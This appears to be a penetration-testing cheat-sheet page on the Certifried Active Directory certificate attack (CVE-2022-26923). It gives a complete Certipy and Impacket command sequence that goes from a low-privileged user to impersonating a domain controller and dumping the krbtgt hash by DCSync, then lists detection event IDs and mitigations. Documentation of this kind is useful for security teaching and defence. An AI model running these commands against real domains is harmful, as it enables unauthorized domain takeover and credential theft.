--- title: "Attack #36 β€” Certifried (CVE-2022-26923)" description: "Certifried (CVE-2022-26923) exploits a flaw in how Active Directory maps computer account certificates to machine accounts. An attacker can create a new…" category: active-directory subcategory: "ADCS & Certificates" tags: ["active-directory", "adcs", "credential-access", "persistence"] tools: ["Impacket", "Certipy"] difficulty: advanced updated: "2026-08-10" source: "vault:ActiveDirectory/AD-Attack/Category-Four/🟒 Attack #36 β€” Certifried (CVE-2022-26923).md" --- # 🟒 Attack #36 β€” Certificate Persistence (Certifried / CVE-2022-26923) *** ## πŸ“– How It Works Certifried (CVE-2022-26923) exploits a flaw in how Active Directory maps computer account certificates to machine accounts. An attacker can create a new machine account (via MachineAccountQuota), change its `dNSHostName` attribute to match a Domain Controller's hostname, then request a Client Authentication certificate. The CA issues a certificate with the DC's hostname β€” allowing the attacker to authenticate as the DC and perform DCSync. ### Attack Flow ``` 1. Create machine account (FAKE$) via MachineAccountQuota 2. Change FAKE$'s dNSHostName to DC01.corp.local 3. Request a certificate using the Machine template 4. CA issues cert with DC01.corp.local in the SAN 5. Authenticate with the certificate β†’ impersonate DC01$ 6. DCSync β†’ domain compromise ``` *** ## βš™οΈ Prerequisites | Requirement | Detail | |---|---| | **MachineAccountQuota > 0** | Default is 10 β€” allows domain users to create computer accounts | | **ADCS deployed with Machine template** | Standard deployment has this | | **Unpatched DCs** | CVE-2022-26923 patched in May 2022 | *** ## πŸ’» Full Commands ```bash # ── Step 1: Create machine account ──────────────────────────────────────────── certipy account create -u low_user@corp.local -p 'Password1' \ -user 'FAKE$' -pass 'FakePass123!' -dc-ip 10.10.10.10 # Or: addcomputer.py -computer-name 'FAKE$' -computer-pass 'FakePass123!' \ -dc-ip 10.10.10.10 corp.local/low_user:'Password1' # ── Step 2: Change dNSHostName to match DC ──────────────────────────────────── certipy account update -u low_user@corp.local -p 'Password1' \ -user 'FAKE$' -dns DC01.corp.local -dc-ip 10.10.10.10 # ── Step 3: Request certificate for FAKE$ (with DC01 hostname) ─────────────── certipy req -u 'FAKE$@corp.local' -p 'FakePass123!' -ca CORP-CA \ -template Machine -dc-ip 10.10.10.10 # CA issues cert with DC01.corp.local in SAN # ── Step 4: Restore dNSHostName (cleanup) ───────────────────────────────────── certipy account update -u low_user@corp.local -p 'Password1' \ -user 'FAKE$' -dns FAKE.corp.local -dc-ip 10.10.10.10 # ── Step 5: Authenticate as DC01$ ───────────────────────────────────────────── certipy auth -pfx dc01.pfx -dc-ip 10.10.10.10 # Returns DC01$ NT hash # ── Step 6: DCSync ──────────────────────────────────────────────────────────── secretsdump.py corp.local/'DC01$'@DC01.corp.local \ -hashes : -just-dc-user krbtgt ``` *** ## πŸ›‘οΈ Detection β€” Event IDs | Event ID | Source | What to Look For | |---|---|---| | **4741** | Security Log (DC) | Computer account creation | | **5136** | Security Log (DC) | dNSHostName attribute modification on computer object | | **4886** | Security Log (CA) | Certificate enrollment for machine account | *** ## πŸ”— Attack Chain Context ``` [Certifried] ──→ Machine account cert abuse β†’ DC impersonation β†’ DCSync β”‚ β”œβ”€β”€β†’ πŸ”— CVE-2022-26923 β€” patched May 2022 β”œβ”€β”€β†’ πŸ’» Low-priv β†’ machine account β†’ DC cert β†’ full domain └──→ πŸ’€ Defeated by: patch, set MAQ=0, monitor dNSHostName changes ``` *** > βœ… **Attack #36 β€” Certifried complete.** *** > 🏁 **Category 4 β€” ADCS Attacks is now COMPLETE (10/10 attacks).**